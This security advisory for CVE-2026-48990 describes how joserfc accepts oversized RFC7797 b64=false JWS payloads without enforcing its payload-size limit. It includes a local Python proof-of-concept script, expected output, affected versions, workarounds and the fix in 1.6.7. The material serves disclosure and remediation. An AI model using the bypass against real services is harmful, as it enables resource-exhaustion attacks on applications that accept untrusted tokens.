CVE-2026-48990: joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization
RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization
Summary
Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.maxpayloadlength.
The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.maxpayloadlength.
This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.
Affected Product
- Package: joserfc - Ecosystem: pip - Audited release: 1.6.5 - Audit tag: 1.6.5 - Audit commit: 881712980934fb601bed26fe3ae1ec0b7780e6f7 - Tested affected releases: 1.3.4, 1.3.5, 1.4.2, 1.6.2, 1.6.3, 1.6.4, 1.6.5 - Fixed release: none known
Vulnerability Details
In joserfc 1.6.5, the default JWS registry has maxpayloadlength = 128000 and exposes validatepayloadsize().
The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:
text if isrfc7797enabled(protected): if not payloadsegment and payload: payloadsegment = tobytes(payload) payload = payloadsegment
The flattened JSON RFC7797 path has the same pattern:
text payloadsegment = value["payload"].encode("utf-8") if isrfc7797enabled(member.headers()): payload = payloadsegment
Neither branch calls registry.validatepayloadsize(payloadsegment) before accepting the unencoded payload.
Reproduction
The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.
Requirements:
bash python -m pip install "joserfc==1.6.5"
Run:
bash python joserfcrfc7797sizebypasspoc.py
Self-contained proof script:
python #!/usr/bin/env python3 import json
import joserfc from joserfc import jws from joserfc.jwk import OctKey
def checkcompact(name, header, payload, key): token = jws.serializecompact(header, payload, key) try: obj = jws.deserializecompact(token, key) return { "case": name, "accepted": True, "exception": None, "payloadlenafterdeserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).name, "error": str(exc), }
def checkjson(name, protected, payload, key): data = jws.serializejson({"protected": protected}, payload, key) try: obj = jws.deserializejson(data, key) return { "case": name, "accepted": True, "exception": None, "payloadlenafterdeserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).name, "error": str(exc), }
key = OctKey.importkey("secret-secret-secret") limit = jws.defaultregistry.maxpayloadlength payload = "A" (limit + 1)
results = { "joserfcversion": joserfc.version, "defaultmaxpayloadlength": limit, "payloadlen": len(payload), "compact": [ checkcompact("normalb64true", {"alg": "HS256"}, payload, key), checkcompact( "rfc7797b64false", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], "json": [ checkjson("normalb64truejson", {"alg": "HS256"}, payload, key), checkjson( "rfc7797b64falsejson", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], } print(json.dumps(results, indent=2, sortkeys=True))
Expected output on 1.6.5 includes:
json { "defaultmaxpayloadlength": 128000, "payloadlen": 128001, "compact": [ { "case": "normalb64true", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797b64false", "accepted": true, "exception": null, "payloadlenafterdeserialize": 128001 } ], "json": [ { "case": "normalb64truejson", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797b64falsejson", "accepted": true, "exception": null, "payloadlenafterdeserialize": 128001 } ] }
Version Checks
I reproduced the same differential behavior on these releases:
| Version | Normal JWS over limit | RFC7797 b64=false over limit | | --- | --- | --- | | 1.3.4 | ExceededSizeError | accepted | | 1.3.5 | ExceededSizeError | accepted | | 1.4.2 | ExceededSizeError | accepted | | 1.6.2 | ExceededSizeError | accepted | | 1.6.3 | ExceededSizeError | accepted | | 1.6.4 | ExceededSizeError | accepted | | 1.6.5 | ExceededSizeError | accepted |
The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.
Relationship to Existing Advisories
I found two related public advisories for joserfc, but neither appears to cover this root cause.
GHSA-frfh-8v73-gjg4 / CVE-2025-65015 describes oversized token parts being included in ExceededSizeError messages in older release ranges. The issue described here reproduces in 1.6.5 and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising ExceededSizeError.
GHSA-w5r5-m38g-f9f9 / CVE-2026-27932 describes unbounded PBES2 p2c iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.
Workarounds
Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to joserfc, disabling or disallowing RFC7797 b64=false tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.
Suggested Remediation
Apply registry.validatepayloadsize(payloadsegment) to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the payload argument should be checked in the same way.
Other sources
joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.maxpayloadlength, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.maxpayloadlength. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/joserfcto a version that resolves this vulnerability.Fixed in 1.6.7 - Upgrade
Upgrade
joserfcto a version that resolves this vulnerability.Fixed in 1.6.7 - Configuration
If RFC7797 `b64=false` JWS tokens are not needed, disable or disallow them so oversized unencoded payloads cannot be deserialized via the RFC7797 `b64=false` paths.
joserfc (JWS RFC7797) RFC7797 b64=false tokens = disable/disallow - Configuration
Enforce strict request, header, and body size limits at the application or reverse-proxy layer to reduce exposure to oversized serialized JWS inputs before they are passed to `joserfc`.
application / reverse proxy request/header/body size limits = enforce strict limits - Compensating control
Modify/insert pre-checks in the RFC7797 `b64=false` compact and flattened JSON extraction paths: call `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object (including detached RFC7797 compact payloads supplied through the `payload` argument).
Event History
Frequently Asked Questions
What is the severity of CVE-2026-48990?
The severity of CVE-2026-48990 is medium with a score of 5.3.
How do I fix CVE-2026-48990?
To fix CVE-2026-48990, update the joserfc library to version 1.6.7 or later.
What is the impact of CVE-2026-48990?
CVE-2026-48990 can lead to resource exhaustion due to oversized JWS payloads being accepted without limit.
Which versions of joserfc are affected by CVE-2026-48990?
Versions 1.3.4 through 1.6.5 of joserfc are affected by CVE-2026-48990.
What is joserfc in the context of CVE-2026-48990?
JoseRFC is a Python library that implements various JSON Object Signing and Encryption standards, which is impacted by CVE-2026-48990.